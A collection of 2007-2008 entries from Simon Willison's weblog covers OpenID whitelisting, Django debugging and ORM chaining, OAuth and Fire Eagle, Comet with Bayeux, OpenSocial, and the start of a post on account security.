Simon Willison's Weblog Entries

The point of "Open" in OpenID

2008-06-24T08:12:23Z

TechCrunch report that Microsoft are accepting OpenID for their new HealthVault site, but with a catch: you can only use OpenIDs from two providers: Trustbearer (who offer two-factor authentication using a hardware token) and Verisign. "Whatever happened to the Open in OpenID?", asks TechCrunch's Jason Kincaid.

Microsoft's decision is a beautiful example of the Open in action, and I fully support it.

You have to remember that behind the excitement and marketing OpenID is a protocol, just like SMTP or HTTP. All OpenID actually provides is a mechanism for asserting ownership over a URL and then "proving" that assertion. We can build a pyramid of interesting things on top of this, but that assertion is really all OpenID gives us (well, that and a globally unique identifier). In internet theory terms, it's a dumb network: the protocol just concentrates on passing assertions around; it's up to the endpoints to set policies and invent interesting applications.

Open means that providers and consumers are free to use the protocol in whatever way they wish. If they want to only accept OpenID from a trusted subset of providers, they can go ahead. If they only want to pass OpenID details around behind the corporate firewall (great for gluing together an SSO network from open-source components) they can knock themselves out. Just like SMTP or HTTP, the protocol does not imply any rules about where or how it should be used.

HealthVault have clearly made this decision due to security concerns - not over the OpenID protocol itself, but the providers that their users might choose to trust. By accepting OpenID on your site you are outsourcing the security of your users to an unknown third party, and you can't guarantee that your users picked a good home for their OpenID. If you're a bank or a healthcare provider that's not a risk you want to take; whitelisting providers that you have audited for security means you don't have to rule out OpenID entirely.

I have a very simple rule of thumb for whether or not a site should consider whitelisting OpenID providers: does the site offer a "forgotten password" feature that e-mails the user a login token? If it does, then the owners have already made the decision to outsource the security of their users to whoever they picked as an e-mail provider. If they don't (banks are a good example here) they should continue that policy decision and consider using an OpenID provider whitelist.

I've been using the example of banks potentially accepting OpenID only from security audited providers in my talks on OpenID for at least the past year. Now I can finally provide a real-world example.

Debugging Django

2008-05-22T00:35:40Z

I gave a talk on Debugging Django applications at Monday's inaugural meeting of DJUGL, the London Django Users Group. I wanted to talk about something that wasn't particularly well documented elsewhere, so I pitched the talk as "Bug Driven Development" - what happens when Test Driven Development goes the way of this unfortunate pony.

The slides are up on SlideShare, but don't provide quite enough context so I'm going to cover the tips in full here.

Making the most of the error page

Django's default error page is great - it provides a detailed traceback with local variables, lets you expand out the lines of code around the problem, provides a plain text exception suitable for e-mailing to colleagues and even a one-click button to send details to http://dpaste.com/ so you can go and talk about the error on IRC. It also serves the same purpose as phpinfo() - it shows you your application's settings, the GET, POST and COOKIE data from the request and the all important META fields assembled from the HTTP environment (great for remembering how to miss-spell HTTP_REFERER).

Useful tip number one is that you can trigger the error page from any view just by adding the following line:

assert False

You can serve up an expression with the assertion as well; it will be displayed at the top of the error page:

assert False, request.GET

One particularly useful place to use this is when you are building a complex form. If you want to see the data that was submitted, drop an assert False in to the view that the form targets and use the error page to inspect the data.

Logging to the development server console

If you want to know what's going on inside a view, the quickest way is to drop in a print statement. The development server outputs any print statements directly to the terminal; it's the server-side alternative to a JavaScript alert().

If you want to be a bit more sophisticated with your logging, it's worth turning to Python's logging module (part of the standard library). You can configure it in your settings.py:

import logging
logging.basicConfig(
    level = logging.DEBUG,
    format = '%(asctime)s %(levelname)s %(message)s',
)

Then call it from any of your views:

def my_view(request):
    import logging
    logging.debug("A log message")
    ...

Again, this will log things to the terminal where the development server is running. If you want to log things to a file you can do so by extending the basicConfig call:

logging.basicConfig(
    level = logging.DEBUG,
    format = '%(asctime)s %(levelname)s %(message)s',
    filename = '/tmp/myapp.log',
    filemode = 'w'
)

You can then use tail -f /tmp/myapp.log to see log lines being appended to that file in real-time. This can be used in production as well as development.

The above just scratches the surface of Python's logging module; with a bit of digging around in the documentation you can use it to rotate log files, send log messages over the network and even POST log events to an HTTP server somewhere.

Often you find yourself dealing with an error that only occurs in certain circumstances - a function might be called from dozens of different places in your program but only runs in to trouble in a very specific case. You can use the traceback module to log the current stack, which will allow you to tell how a function was called when something went wrong:

import logging, traceback, pprint

def my_buggy_function(arg):
    ...
    if error_condition:
        stack = pprint.pformat(traceback.extract_stack())
        logging.debug('An error occurred: %s' % stack)

The tuple returned by traceback.extract_stack() includes line numbers, function names and paths to Python files so you can use it to reconstruct a good amount of information about your program.

Using the debugger

By far the most powerful weapon in my debugging toolkit is the Python debugger, pdb. Again, this ships with the standard library so there's nothing extra to install. pdb is a command line debugger (if you want a GUI options include PyEclipse and Komodo, but I haven't used either myself). There are a bunch of ways to activate pdb, but the most straight forward is to simply drop the following line directly in to a Django view function:

import pdb; pdb.set_trace()

If you try to load that page in your browser, the browser will hang - the page will appear to be loading extremely slowly. What's actually happened is the developer server has paused execution and thrown up the pdb interface - you can switch over to your console and start interacting directly with the server mid view.

Did I mention you should never, ever leave this on in production?

So, you've got a hung development server and a pdb prompt. What can you do with it? The answer is pretty much anything. I won't provide a full pdb tutorial here (this is a good introduction), but the commands I find most useful are the following:

list: Shows the lines of source code around your current point of execution. You can run it multiple times to increase the amount of source code displayed.
n: Execute the next line
s: Same as n, but steps in to any functions that are called. You can quickly get lost in a twisty maze of code with this command, but that's OK because...
r: Continues execution until the current function returns
u: Goes UP one level in the stack - so you can see the function that called the function you are currently in
d: Goes DOWN again
locals(): not a pdb command, but handy for seeing what's in your current scope

The pdb docs have a full list of commands.

The pdb prompt doubles up as a full Python interactive shell, so you can not only access variables but you can modify them, call functions and generally mess around with the internals of your application as much as you like, while it's running. It's kind of a poor man's imitation of being a Smalltalk developer.

Remember though, the whole time you're messing around in pdb your browser is still stuck there, waiting for the HTTP request to come back. If you hit "c" (for continue) your application will kick in again, the request will be served and your browser will breathe a sigh of relief.

Thankfully you don't have to use pdb in a way that freezes your development server; it also works great in the interactive shell. If you've got a buggy function, one way to explore it is to run it interactively, then use the following idiom:

>>> def function_that_raises_an_exception():
...   assert False
... 
>>> function_that_raises_an_exception()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<stdin>", line 2, in function_that_raises_an_exception
AssertionError
>>> import pdb; pdb.pm()
> <stdin>(2)function_that_raises_an_exception()
(Pdb)

pdb.pm() stands for post-mortem, and is probably my favourite feature of the debugger - it lets you jump back in to debug the most recently raised exception, even if you hadn't imported pdb at the time the exception was raised.

One last pdb tip: you can use it to debug Python command line scripts such as Django's custom ./manage.py commands. The trick is to run the script like this:

python -i manage.py buggy_command

The -i argument causes Python to drop in to the interactive prompt after executing the script. If the script raised an exception, you can then use pdb.pm() to debug it.

Handling errors in production

Django's default behaviour in production (that is, when the DEBUG setting is set to False) is to e-mail exception reports to anyone listed in the ADMINS section. You can also turn on e-mail reports on every 404 error with the SEND_BROKEN_LINK_EMAILS setting, which will send them to addresses in the MANAGERS setting. As far as I know these settings don't do anything else - they're a pretty ancient bit of Django.

On a high traffic site you probably don't want to be e-mailed on every server error. One neat alternative is David Cramer's django-db-log, which logs exceptions to a database table. It cleverly uses an MD5 hash of the traceback to aggregate many reports of the same error. More importantly though, it acts as a really straight forward example of how to use Django middleware's process_exception hook to roll your own error reporting. Take a look at the code to see how simple this is.

More useful middleware

In the talk I demoed a couple of other handy pieces of middleware. The first was the ProfilerMiddleware (one of several profiling tools on Django Snippets) which allows you to add ?prof to the end of any URL to see the output of Python's cProfile module run against that request. The second is one that I've just released: DebugFooter, which adds a footer showing exactly which templates were loaded from where (handy for debugging complex template paths) as well as every executed SQL query and how long each one took.

Abusing the test client

A final tip for exploring your application interactively is to learn to use Django's TestClient. Although designed for use in unit tests, this tool is equally useful for use at the interactive prompt. It allows you to simulate an in-process request against your application from within your Python code. Here's an example:

>>> from django.test.client import Client
>>> c = Client()
>>> response = c.get("/") # The homepage
>>> response
<django.http.HttpResponse object at 0x2300470>
>>> print response
Vary: Cookie
Content-Type: text/html; charset=utf-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
    "http://www.w3.org/TR/html4/strict.dtd">
<html>
...

The response object you get back is the HttpResponse returned by the view, ready to be explored interactively.

There's another function from the unit testing tools that can help with interactively exploring an application: setup_test_environment(). This function monkey-patches in some additional hooks used by the unit tests, including one that intercepts template render calls and adds information on them to the request object. Here's an example:

>>> from django.test.utils import setup_test_environment
>>> setup_test_environment()
>>> from django.test.client import Client
>>> c = Client()
>>> response = c.get("/")
>>> response.template
[<django.template.Template object at 0x2723dd0>,
 <django.template.Template object at 0x2723f30>,
 <django.template.Template object at 0x273ee10>]
>>> response.context
[ list of Context objects ]

This allows you to explore not just the HTML returned by a view, but also the templates and contexts that were used to render it.

Your tips welcome

If you have any useful tips on debugging Django applications, please share them in the comments on this entry.

jQuery style chaining with the Django ORM

2008-05-01T12:31:17Z

Django's ORM is, in my opinion, the unsung gem of the framework. For the subset of SQL that's used in most web applications it's very hard to beat. It's a beautiful piece of API design, and I tip my hat to the people who designed and built it.

Lazy evaluation

If you haven't spent much time with the ORM, two key features are lazy evaluation and chaining. Consider the following statement:

entries = Entry.objects.all()

Assuming you have created an Entry model of some sort, the above statement will create a Django QuerySet object representing all of the entries in the database. It will not result in the execution of any SQL - QuerySets are lazily evaluated, and are only executed at the last possible moment. The most common situation in which SQL will be executed is when the object is used for iteration:

for entry in entries:
    print entry.title

This usually happens in a template:

<ul>
{% for entry in entries %}
  <li>{{ entry.title }}</li>
{% endfor %}
</ul>

Lazy evaluation works nicely with template fragment caching - even if you pass a QuerySet to a template it won't be executed if the fragment it is used in can be served from the cache.

You can modify QuerySets as many times as you like before they are executed:

entries = Entry.objects.all()
today = datetime.date.today()
entries_this_year = entries.filter(
    posted__year = today.year
)
entries_last_year = entries.filter(
    posted__year = today.year - 1
)

Again, no SQL has been executed, but we now have two QuerySets which, when iterated, will produce the desired result.

Chaining

Chaining comes in when you want to apply multiple modifications to a QuerySet. Here are blog entries from 2006 that weren't posted in January:

Entry.objects.filter(
    posted__year = 2006
).exclude(posted__month = 1)

And here's entries from that year posted to the category named "Personal", ordered by title:

Entry.objects.filter(
    posted__year = 2006
).filter(
    category__name = "Personal"
).order_by('title')

The above can also be expressed like this:

Entry.objects.filter(
    posted__year = 2006,
    category__name = "Personal"
).order_by('title')

Chaining in jQuery

The parallels to jQuery are pretty clear. The jQuery API is built around chaining, and the jQuery animation library even uses a form of lazy evaluation to automatically queue up effects to run in sequence:

jQuery('div#message').addClass(
	'borderfade'
).animate({
   'borderWidth': '+10px'
}, 1000).fadeOut();

One of the neatest things about jQuery is the plugin model, which takes advantage of JavaScript's prototype inheritance and makes it trivially easy to add new chainable methods. If we wanted to package the above dumb effect up as a plugin, we could do so like this:

jQuery.fn.dumbBorderFade = function() {
    return this.addClass(
        'borderfade'
    ).animate({
       'borderWidth': '+10px'
    }, 1000).fadeOut();
};

Now we can apply it to an element like so:

jQuery('div#message').dumbBorderFade();

Custom QuerySet methods in Django

Django supports adding custom methods for accessing the ORM through the ability to implement a custom Manager. In the above examples, Entry.objects is the Manager. The downside of this approach is that methods added to a manager can only be used at the beginning of the chain.

Luckily, Managers also provide a hook for returning a custom QuerySet. This means we can create our own QuerySet subclass and add new methods to it, in a way that's reminiscent of jQuery:

from django.db import models
from django.db.models.query import QuerySet
import datetime

class EntryQuerySet(QuerySet):
    def on_date(self, date):
        next = date + datetime.timedelta(days = 1)
        return self.filter(
            posted__gt = date,
            posted__lt = next
        )

class EntryManager(models.Manager):
    def get_query_set(self):
        return EntryQuerySet(self.model)

class Entry(models.Model):
    ...
    objects = EntryManager()

The above gives us a new method on the QuerySets returned by Entry.objects called on_date(), which lets us filter entries down to those posted on a specific date. Now we can run queries like the following:

Entry.objects.filter(
    category__name = 'Personal'
).on_date(datetime.date(2008, 5, 1))

Reducing the boilerplate

This method works fine, but it requires quite a bit of boilerplate code - a QuerySet subclass and a Manager subclass plus the wiring to pull them all together. Wouldn't it be neat if you could declare the extra QuerySet methods inside the model definition itself?

It turns out you can, and it's surprisingly easy. Here's the syntax I came up with:

from django.db.models.query import QuerySet

class Entry(models.Model):
   ...
   objects = QuerySetManager()
   ...
   class QuerySet(QuerySet):
       def on_date(self, date):
           return self.filter(
               ...
           )

Here I've made the custom QuerySet class an inner class of the model definition. I've also replaced the default manager with a QuerySetManager. All this class does is return the QuerySet inner class for the current model from get_query_set. The implementation looks like this:

class QuerySetManager(models.Manager):
    def get_query_set(self):
        return self.model.QuerySet(self.model)

I'm pretty happy with this; it makes it trivial to add custom QuerySet methods and does so without any monkeypatching or deep reliance on Django ORM internals. I think the ease with which this can be achieved is a testament to the quality of the ORM API.

wikinear.com, OAuth and Fire Eagle

2008-03-22T14:34:53Z

I'm pleased to announce wikinear.com. It's a simple site that does just one thing: show you a list of the five Wikipedia pages that are geographically closest to your current location. It's designed (or not-designed) to be used mainly from mobile phones.

You'll need a Fire Eagle invitation code to use the site. ~~I've got four spare; the first four comments to ask for one can have them~~ my invites are all accounted for. If you don't have a Fire Eagle account you'll have to make do with this screenshot instead.

The idea for the site came from living in Oxford for a year. The city is full of beautiful old historic buildings (many of them colleges), but very few of them are labelled or signposted. With wikinear.com and a GPS hooked up to Fire Eagle, I can pull out my phone and see a list of the closest points of interest, plotted on a handy map.

Under the hood the site combines a number of interesting technologies: OAuth, Fire Eagle, GeoNames and the new Google Static Maps API.

OAuth

OAuth was originally designed to solve a problem with OpenID: in an authentication protocol based on browser redirects, how do you authenticate a desktop or command-line application? As it turned out, the solution to that problem solved a bunch of other problems that are unrelated to OpenID, so OAuth now exists as very much its own thing. In essence, it lets users delegate permission to perform actions on their behalf, without having to hand their regular authentication credentials (e.g. username and password) over to a third-party piece of software.

If you've ever used a Flickr application that sends you back to Flickr to ask permission to view your private photos you'll understand what OAuth does straight away. Before OAuth, sites had to invent their own solutions to this problem - complete with smart security measures, their own UI flow and libraries for developers wishing to access their protected APIs. OAuth provides a ready-made solution, complete with tested libraries in a bunch of languages.

If you want to securely expose your user's private data via an API, OAuth is a no-brainer. I expect to see a lot more of it over the next year.

Fire Eagle

Launched at ETech a few weeks ago, Fire Eagle is a service with enormous potential. You can watch Tom Coates explain it in ten minutes in this video from the conference, but the short version is that Fire Eagle acts as a location broker. It consists of two key OAuth-protected APIs: one for setting the geographical location of a user, and another for retrieving that location.

This leads to a neat separation of concerns. On the one hand are the applications that attempt to figure out your location - GPS receivers, WiFi maps, mobile phones that triangulate nearby cell towers, or even sites that know where you are because you told them (Dopplr and Upcoming, for example, or the Fire Eagle site itself). On the other hand are the applications that do something useful with your location - from restaurant review sites, traffic alert services, friend finders and ARGs down to trivial applications like wikinear.com.

As a developer, this is really exciting. I can build location-based services without having to solve the much bigger problem of figuring out where my users are. Even better, wikinear.com becomes incrementally more useful every time someone builds a new tool for passing location information to Fire Eagle, without me having to do anything at all.

Obviously privacy is a huge concern when dealing with this kind of data. That's where the Fire Eagle application itself comes in: it provides a simple suite of tools for users to manage the applications that can access their location. Applications can be permitted to access different levels of accuracy or disabled entirely, and there's a "Hide" button for disabling all applications at once.

Disclaimer: I worked on an early prototype of Fire Eagle as my last project at Yahoo! before leaving in January 2007, but the product that has launched has changed enormously and is entirely the work of the current Fire Eagle team. wikinear.com is inspired by part of that early prototype.

Wikipedia and GeoNames

Wikipedia has a thriving community of geo-hackers, mainly focused around the Maps, Geographical coordinates and Wikipedia-World wiki projects. Many Wikipedia pages (Brighton, for example) have their co-ordinates in the top-right, added using a bewildering array of macros and markup extensions. You can browse through the huge collection of geotagged pages using this KML-powered Google Maps tool - zoom in and wait a few seconds to load in more markers.

The wonderful GeoNames (also used on djangopeople.net) includes an API for querying Wikipedia by location, based on 610,000 articles extracted from a Wikipedia data dump. This was a huge relief when I found it, as "order by distance from X" is actually pretty tricky to do efficiently; I've used expanding bounding box searches in the past but I'd love to hear about more effective solutions.

Google Static Maps

A long-term criticism of the Google Maps API is that it requires JavaScript to display anything at all - once you've committed to using it, you're going to have trouble implementing unobtrusive scripting (although you can work around the problem to some extent). Yahoo! Maps has long been better in this regard, but their map image API is a bit of a pain to use - you have to do an initial call to get back the URL to an image embedded in an XML file, then extract that URL and send it to the browser.

Launched last month, Google's Static Maps API is a big improvement. As with Google Charts, you need only construct a URL to the image to have it dynamically generated on the fly. You can also specify markers, and optionally omit the initial latitude/longitude/zoom to indicate that you want a best fit for the markers you are displaying. There's even a flag for a "mobile optimised" image which I'm using for wikinear.com.

Mixing it all together

Excluding templates, the entire application comes in at less than 200 lines of code and took around two hours to build. The only persistence is a couple of cookies for storing Fire Eagle tokens; Django's database layer isn't even configured (and user locations aren't logged anywhere, which is great from a privacy point of view). I suppose it's a classic mashup - Fire Eagle + OAuth + Wikipedia + GeoNames + Google Static Maps = wikinear.com. Despite its simplicity (or maybe because if it), I think it's a neat demonstration of the kind of applications Fire Eagle enables.

Django People: OpenID and microformats

2008-01-24T02:02:19Z

In hindsight, it was a mistake to launch Django People without support for OpenID. It was on the original feature list, but in the end I decided to cut any feature that wasn't completely essential in order to get the site launched before it drowned in an ocean of "wouldn't-it-be-cool-ifs".

I thought that, once launched, the site would see a small amount of activity from a few interested parties and I'd have plenty of time to catch up on the feature backlog. What I didn't expect was that over 750 people would create profiles within the first 24 hours!

So, I spent a few hours this evening integrating my current development version of django-openid, which thankfully had about 80% of the code needed to integrate with Django's built-in authentication mechanism already written. Sadly the other 20% is either incomplete or a bit of a mess, but I've checked it in to a branch on Google Code for anyone who's interested.

Anyway, there are a few new features on the site of interest to OpenID users:

When signing up for a new account, you now have the option to start by signing in with an OpenID. If you do this, you'll be able to complete the signup form without having to pick a password. If your OpenID provider supports simple registration the name, e-mail address and username fields will be filled in for you.
If you already have an existing account, you can associate one or more OpenIDs with that account. You'll then be able to use any of them to sign in to the account. Why multiple OpenIDs instead of just one? Two reasons: firstly, it opens the potential for doing interesting things with multiple OpenIDs from different providers in the future; secondly, it gives you a fallback for if one of your OpenID providers becomes unavailable.
You can freely add and remove OpenIDs from your associations, with one exception: the site won't let you delete your last OpenID if your account doesn't also have a password associated with it, to prevent you from locking yourself out.
While I decided that I didn't want Django People to become yet another OpenID provider, I do want to give people the ability to use their profile page on the site as an OpenID - so that they can prove that they own it (see my recent post on identity projection). To that end, the new account settings page lets advanced OpenID users set up an openid.server and openid.delegate for their profile page, as described in my blog entry from just over a year ago.

One caveat: the site only supports OpenID 1.1, at least for the moment. I had originally planned to go for OpenID 2.0, but demand was such that I decided to get what I had up and running rather than digging in to the OpenID 2.0 libraries.

Microformats

While I was messing around with OpenID, Natalie was updating the site's templates to clean up the crufty code I'd introduced and add some microformatted goodness. The site now uses hCard where you would expect it (country listing pages, skill listing pages and the new search interface) and the profile pages have been updated with a healthy dose of XFN (just rel="me", since there isn't a relevant microformat for "people who live nearby") and Rel-Tag. On Jeremy Keith's suggestion, the profile pages also use hResume - all the more reason to add the Django projects you've worked on to your profile's portfolio.

As usual, post feedback and bug reports as comments on this entry.

Django People

2008-01-23T02:00:58Z

I'm constantly surprised by the number of people I run in to at conferences (or even in one case on the train) who are using Django but are completely invisible to the Django community. It seems that this is the downside of having good documentation: many people just read it and start building, without ever showing their face on the mailing lists or IRC.

So, Natalie and I have just launched djangopeople.net - a site that encourages Django developers to create a profile and stamp themselves on a map. Every country in the world gets its own page, as does every US state (for the moment; I may add other country's regional subdivisions in the future). The focus of the site is firmly on location, and I'm hoping to add features in the future that encourage people to get involved with local Django user groups and meet like-minded developers.

So, if you develop sites in Django head over there and create yourself a profile. If possible, upload a photo too - it makes the site look nice! Please leave any feedback or bug reports as comments on this post.

Yahoo!, Flickr, OpenID and Identity Projection

2008-01-07T23:33:39Z

Via ReadWriteWeb, view source on a Flickr photostream page and search for "openid" and you'll be rewarded with the following snippet:

<link rel="openid2.provider"
  href="https://open.login.yahooapis.com/openid/op/auth" />

Which means that Flickr pages will very soon be able to act as OpenIDs. The provider isn't up and running just yet though; try authenticating with your Flickr OpenID on Jyte.com and you'll get the following message:

Hey there! You have stopped by a bit sooner than we had expected. This feature is still being tested, so please check back in a few days.

The URL of the server is interesting as well: it suggests that Yahoo!'s OpenID support is designed from the start to apply to more than just Flickr. I wouldn't be at all surprised to see similar links start to crop up on all kinds of other Yahoo! properties - anything that has a page which can be considered to represent a user account. This would make a lot of sense, because OpenID is good for more than just authentication. The OpenID protocol allows a user to assert ownership of a URL. This can be used for SSO-style authentication, but it can also be used to prove ownership of a specific account to some other service, a concept I've been calling identity projection.

If users can easily project their Flickr, Upcoming or del.icio.us identities to other sites, developers can start to build all kinds of neat things. Mashups for one get a whole lot more interesting when new users can easily bring their existing profiles from other sites with them. With any luck we'll see Yahoo! start to adopt OAuth for authenticated API calls (which is itself based in part on the Flickr auth API) in the not too distant future, opening up even more possibilities.

A common misconception about OpenID is that it's only really useful if users stick to using one identity. I'd be happy to see every one of my online profiles acting as an OpenID, not for SSO authentication (I'll pick one "primary" OpenID to use for that) but so that I can selectively cross-pollinate some of my profiles to new services.

Back to Yahoo!, another interesting new URL is https://me.yahoo.com/. Again, there's not much to see at the moment but it looks to me like this will become an endpoint for OpenID 2 directed identity. James Henstridge provides a useful explanation here, but the short version is that you'll be able to enter "me.yahoo.com" in to an OpenID field on a site and have Yahoo! pick an obfuscated, unique OpenID for your interactions with that site. This protects your privacy by preventing anyone from outside of Yahoo! from correlating your behaviour across multiple OpenID-enabled services, similar to how Yahoo!'s current BBAuth API provides applications with an opaque hash rather than a user's Yahoo! screen name.

It looks like Yahoo! will only be supporting OpenID 2 and won't provide a fallback for OpenID 1.x consumers. This means you won't be able to use your Flickr OpenID on many existing consumer sites (including this blog), at least until they get around to updating their libraries. I expect Yahoo!'s implementation to be a major influence in encouraging OpenID 2 adoption.

It's three weeks short of a year since I launched idproxy.net, which provides Yahoo! account holders with a third-party OpenID via the BBAuth API. I couldn't be happier to see Yahoo! taking steps towards cutting out the middle man.

Comet works, and it's easier than you think

2007-12-05T16:22:20Z

I gave a talk this morning at the Yahoo! Web Developer Summit on Comet, cometd and Bayeux. I've been trying to keep up with Comet ever since Alex coined the term last year, but it's only in the past few weeks that I've actually found some time to play with it myself. I was very impressed with what I found: the open source infrastructure for building and deploying Comet applications is surprisingly mature, and with just a few more improvements I can see Comet achieving much more widespread use.

Comet is an umbrella term for any technique that allows a web server to "push" events down to a browser. You can think of it as an alternative to Ajax polling, with the benefit that events are relayed in almost real-time and "wasted" requests (when nothing has changed) are massively reduced. The name doesn't stand for anything; it's named after an American kitchen cleaner (a joke on Ajax).

When you consider the hacks involved in getting Comet to work across the four major browsers it's miraculous that it works at all. In the talk I tried to illustrate the insanity with examples of browser hacks, mainly to show how totally absurd it all was. But while the solutions are mostly pretty terrifying, the fact that we're dealing with JavaScript (rather than CSS) means that we can abstract all of the nastiness away, ready to be replaced later on when browsers start introducing native support. Abstracting away the nastiness until the browsers catch up is something of an unofficial mission statement for the Dojo project, so you won't be surprised to hear that Dojo offers excellent support for Comet.

The Bayeux protocol

For me the most exciting Comet development is the invention of the Bayeux protocol. Bayeux defines a standard protocol for Comet clients (both browsers and others) to communicate with a dedicated Comet server, using a simple but powerful publisher/subscriber architecture based around the concept of named channels. Clients can connect to a Bayeux server, subscribe to one or more channels, and then publish messages targeted at a channel. The server's job is to relay those messages to all clients subscribed to that channel.

There are a number of things to like about this setup. Firstly, it means that all of the difficult parts of Comet (relaying real-time messages, coping with huge numbers of simultaneous connections) are kept separate from your regular architecture. You can keep developing and deploying applications in your preferred framework (Django, Rails, PHP on Apache or whatever) while the Bayeux server sits there as essentially a black box - clients can subscribe to it and you can use it to publish messages all without needing to customise the Comet server at all. If the Bayeux server implementation you chose doesn't work out for some reason you can swap it straight out for something else that supports the same protocol.

The one thing missing from Bayeux at the moment is authentication. Out of the box, a Bayeux server will relay messages to a specific channel from any client to any other set of clients. This is an obvious flaw: if you're running a site where events such as "a new comment has been added" are broadcast out via Comet, you don't want just anyone to be able to imitate such messages and have them sent to all of your subscribed clients. Right now, Bayeux leaves it up to the individual servers to figure out how they will deal with this. I'd like to see the specification address this directly as without it a Bayeux server isn't much use in a real-world environment.

Getting started with Comet

If I've piqued your interest, the good news is that getting started with Comet is really, really easy. All you need is a running server that supports the Bayeux protocol. I tried out a number of options, but the first one that worked straight out of the box was Jetty 6.1, a Java web server that uses continuations to achieve high concurrent performance. Here's how to get Jetty up and running in a few easy steps:

Download Jetty 6.1 (the first version to include a cometd implementation) from www.mortbay.org.
Install Maven, a free build tool for Java (the download page has installation instructions).
Unzip Jetty (you can put it anywhere).
cd jetty-6.1.6/contrib/cometd/demo
mvn jetty:run - the first time you run this it will download a bunch of dependencies and then start up a Jetty server on port 8080.
Navigate to http://localhost:8080/ and you should see an index page linking to a number of Comet demo applications.

Once you've played with the demos, building your own application is almost as easy. The code for the bundled examples lives in jetty-6.1.6/contrib/cometd/demo/src/main/webapp/examples - I simply created a copy of the entire chat directory and started building my own experiments from there.

Using dojox.cometd

If you look through the source of the chat application, it quickly becomes apparent that most of Comet boils down to just three methods:

dojox.cometd.init(comet_server_url) initialises a connection to the given Comet server. The Bayeux handshake protocol is used to establish the most appropriate Comet method for the connecting browser; you don't have to worry about the details of the Comet connection at all.
dojox.cometd.subscribe('/channel', callback) subscribes a callback function to a named channel. Any time a message is sent to that channel the function will be called.
dojox.cometd.publish('/channel', json_object) sends (publishes) a new message to a named channel. The message can be any valid JSON data structure.

There are a few other methods relating to batching requests and disconnecting from the server, but the above three make up the bulk of any Comet application.

A Comet slideshow

In preparation for my talk I decided that I'd try to present my slides using a small Comet application. I ended up building a very simple slideshow tool - I exported my Keynote presentation as a sequence of images, then wrote a Comet client that listened for "show this slide" messages and another client (a master, which acted as my presenter view) that could publish those messages. You can see a screenshot of the master client on Flickr; in addition to "next" and "previous" buttons it also shows a small preview of the upcoming slide.

The code for the client application (which I had running on the main projector screen, and also encouraged the audience to load on their laptops) boiled down to just a few lines of code. Here's the slideshow client in its entirety:

dojo.require("dojox.cometd");
jQuery(function($) {
    dojox.cometd.init("http://example.com/cometd");
    dojox.cometd.subscribe("/slideshow/change", function(comet) {
        $('#currentSlide').attr('src', comet.data.src);
    });
});

The master client was only a little more complicated, due to the need to keep track of the full list of slide URLs (non-sequential, to discourage the audience from skipping ahead) as well as display the preview. That said, the core Comet functionality was wrapped up in a single function:

function publishSlide(src) {
    dojox.cometd.publish("/slideshow/change", {
        'src': src
    });
}

The entire application took less than an hour to put together, which I think is a testament to the quality of the Bayeux implementation present in both Jetty and Dojo.

The future

Before taking a detailed look at Comet, my assumption was that the amount of complexity involved meant it was out of bounds to all but the most dedicated JavaScript hackers. I'm pleased to admit that I was wrong: Comet is probably about 90% of the way to being usable for mainstream projects, and the few remaining barriers (Bayeux authentication chief amongst them) are likely to be solved before too long. I expect to see many more sites start deploying Comet powered features over the next twelve months.

Figuring out OpenSocial

2007-11-02T10:29:25Z

So it's out, and lots of people are talking about it, but I'm still trying to work out exactly what it is. There seem to be two parts to it: a standardised set of GData APIs for accessing lists of friends and their activities (like the Facebook news feed) and a bunch of JavaScript APIs for enabling developers to write hostable widgets and "container sites" to embed those widgets.

Unfortunately the official documentation confuses things horribly by referring to Google Gadgets in various places. From that my guess is that the embedding part consists of externally hosted code running in an iframe, along with the clever fragment hack to mediate controlled communication between the container site and the embedded widget (and bypass the same-domain restriction). Not sure how that would defend against a malicious widget that uses frame-busting to send the user to a completely new page though - Facebook rewrite and sanitise all of the CSS and JavaScript that they serve, but I seriously doubt Google's open source container API pack will include that level of sophistication.

My other question at the moment is how much OpenSocial relates to the larger goal of an open social network, where import and export APIs allow people to easily move from network to network and still find their friends. I don't see anything in the GData People API that explicitly addresses the need to correlate the same user's account across multiple sites (it looks like it doesn't include an e-mail address for example) which seems to me to be pretty essential.

Am I getting this right, or have I missed something important? I'd love to hear from people who have been properly briefed on all of this.

Questioning Steve Ballmer

2007-10-01T23:57:53Z

This morning I attended a half day briefing at Microsoft UK entitled "The Online Opportunity - What Makes a Successful Web 2.0 Start-Up?". Despite the buzzword laden title the event was well worth the trip up from Brighton, mainly due to the Q&A with Steve Ballmer (a pretty rare opportunity).

Of the other speakers my favourite was Brent Hoberman of lastminute.com and more recently mydeco.com. He presented without slides, choosing instead to simply blasting through dozens of lessons he learnt working on lastminute.com, both when it was a plucky startup and once it had morphed in to a large public company. Thankfully Jeremy took copious notes.

I was lucky enough to get the opportunity to throw a question at Steve. I considered asking how he planned to lure open source developers (used to controlling their entire stack) back to Microsoft tools, but another question had touched on patents so instead I asked the following (paraphrased):

This event is all about encouraging startups - but one of the biggest problems a startup faces is that it's almost impossible to invent anything without violating someone's patent. Big companies can use their patent portfolios to defend themselves, but small companies have no way to fight back. It's kind of like the Cold War.

Here are the points I can remember from Steve's answer:

The patent system (in the US) was designed for the industrial revolution and altered once to deal with the pharmaceutical industry. It hasn't yet been updated for software, but some kind of change is obviously needed. That said, we shouldn't throw the baby out with the bath water - patents are still needed to encourage innovation in both large and small companies.
At the moment, it's hard to say if small or big companies benefit most. Steve thinks it's actually the smaller companies - it's rare for a big company to crush a small company with a patent, but you often hear about small companies with a patent and nothing to lose going after the big guys.
Microsoft are lobbying for patent reform both in the US and the European Union.

About half way through Steve's talk the current favourite Microsoft demos got an airing: Popfly (a mashup editor written in Silverlight, reminiscent of Yahoo! Pipes), Seadragon and the awesome Photosynth. I hadn't realised Photosynth was actually available for regular people to play with, although my attempts at getting it working with Parallels on my Mac have sadly failed.

Designing for a security breach

2007-09-30T21:29:32Z

User account breaches are inevitable. We should take that in to account when designing our applications.

My work with OpenID has lead me to think a lot harder about account security in general. Staying secure on the Web is surprisingly difficult, even for experienced internet users - which means the mainstream public are in a whole heap of trouble.

Phishing is incredibly effective; the vast majority of people can't tell the difference between a phished version of a site and a real one, and applications don't help the situation by sending dozens of e-mails encouraging people to sign in or serving their legitimate login page on unrecognisable domains. Even worse, many social networking sites actively encourage bad security habits by asking users for their webmail username and password in order to scrape their address book for contacts.

